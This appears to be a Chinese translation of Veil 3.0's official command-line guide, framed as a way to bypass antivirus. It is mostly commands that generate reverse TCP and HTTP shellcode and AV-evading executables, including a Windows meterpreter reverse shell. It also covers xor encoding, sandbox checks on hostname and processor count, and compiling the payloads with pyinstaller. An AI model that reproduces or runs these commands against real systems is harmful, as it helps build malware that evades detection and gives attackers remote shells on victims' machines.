绕过杀软之Veil3.0官方指南

本文翻译自Veil官方文档

大部分Veil用户将利用Veil的交互式菜单生成shellcode和或Veil载荷。 但是,我猜测虽然只有少数用户会使用命令行选项,但他们使用的相当频繁。 因此,我想确保在Veil用户在想要通过script来使用时(或任何其他方式)存在命令行界面。 在Veil 3.0版本中,一些选项是相同的,但是该工具引入了更多的命令行选项,这就是我在本文中想要介绍的。

1
2
3
apt-get -y install veil-evasion          #下载veil-evasion组件
/usr/share/veil/config/setup.sh --force --silent    # "安静"的安装,不需要提示输入yes/no。安装需要很长时间,请耐心等待
veil     #输入veil即可进行该模块

1. Ordnance——军械库

我将在命令行中介绍如何在Veil中使用军械库,这应该非常简单。 如果你以前从未使用过军械库,那么该工具比msfvenom生成shellcode更加易用。

1.1 列出军械库的所有载荷

veil -t Ordnance --list-payloads

6

1.2 列出军械库的所有编码模块

veil -t Ordnance --list-encoders

7

1.3 生成反弹TCP载荷

veil -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

使用军械库模块,指定反弹的ip为192.168.1.20、端口为1234,生成反弹tcp载荷。

8

1.4 生成反弹HTTP载荷

veil -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98

9

使用军械库模块,指定反弹的ip为192.168.1.21、端口为1235,生成反弹http载荷。并且该命令还设置了xor编码、避免使用坏字符\x13\x98

2. Evasion——免杀

2.1 列出免杀模块的所有载荷

veil -t Evasion --list-payloads

10

2.2 使用33免杀模块生成可执行文件

veil -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest

该命令会生成一个可执行的载荷。设置了免杀载荷编号为33。通过上一小节查询到33) python/shellcode_inject/flat.py,就可以指定-p 33

使用的是军械库反弹tcp的载荷,设置反弹IP192.168.1.38675,设置生成的文件名为christest。要注意的是,该命令使用的是Ordnance军械库模块来生成shellcode。

2.3 使用41免杀模块生成可执行文件

veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

13 使用指定ip和端口、免杀载荷为41,生成一个windows平台反弹meterpreter的载荷。和上一小节不同的是,使用的是msfvenom而不是军械库模块来生成shellcode。

生成的应用程序,可以使用file var/lib/veil/output/compiled/chris.exe进行查看。

2.4 使用34免杀模块生成可执行文件

veil -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2

该命令会生成一个可执行的载荷。设置了免杀载荷编号为34。使用军械库模块生成反弹tcp的shellcode,反弹连接的IP、端口如命令所示。生成的可执行程序名称为chrisout,并且执行了两项检查,载荷被设置为目标机器的主机名为thegrid,系统的进程至少是2个。

如果你只想检查主机名,就可以删除processors=2,内置这样的基本检查,当尝试枚举和绕过沙箱的时候很有用。

如果是使用python免杀模块,编号从25到36,那么编译的时候很可能出错。

12

当出现错误,ImportError: No module named 'past'

可以使用以下命令,手动将py脚本编译为exe,生成的程序在build文件夹下。

1
wine pyinstaller /var/lib/veil/output/source/chrisout10.py

11

如果出现了上图的错误,可以安装apt-get install winbind

2.5 删除所有生成的载荷

veil --clean

如果您创建了多个有效负载,并且只想删除所有编译后的输出,源代码,处理程序文件和跟踪的哈希,请运行此命令,Veil将删除所有内容。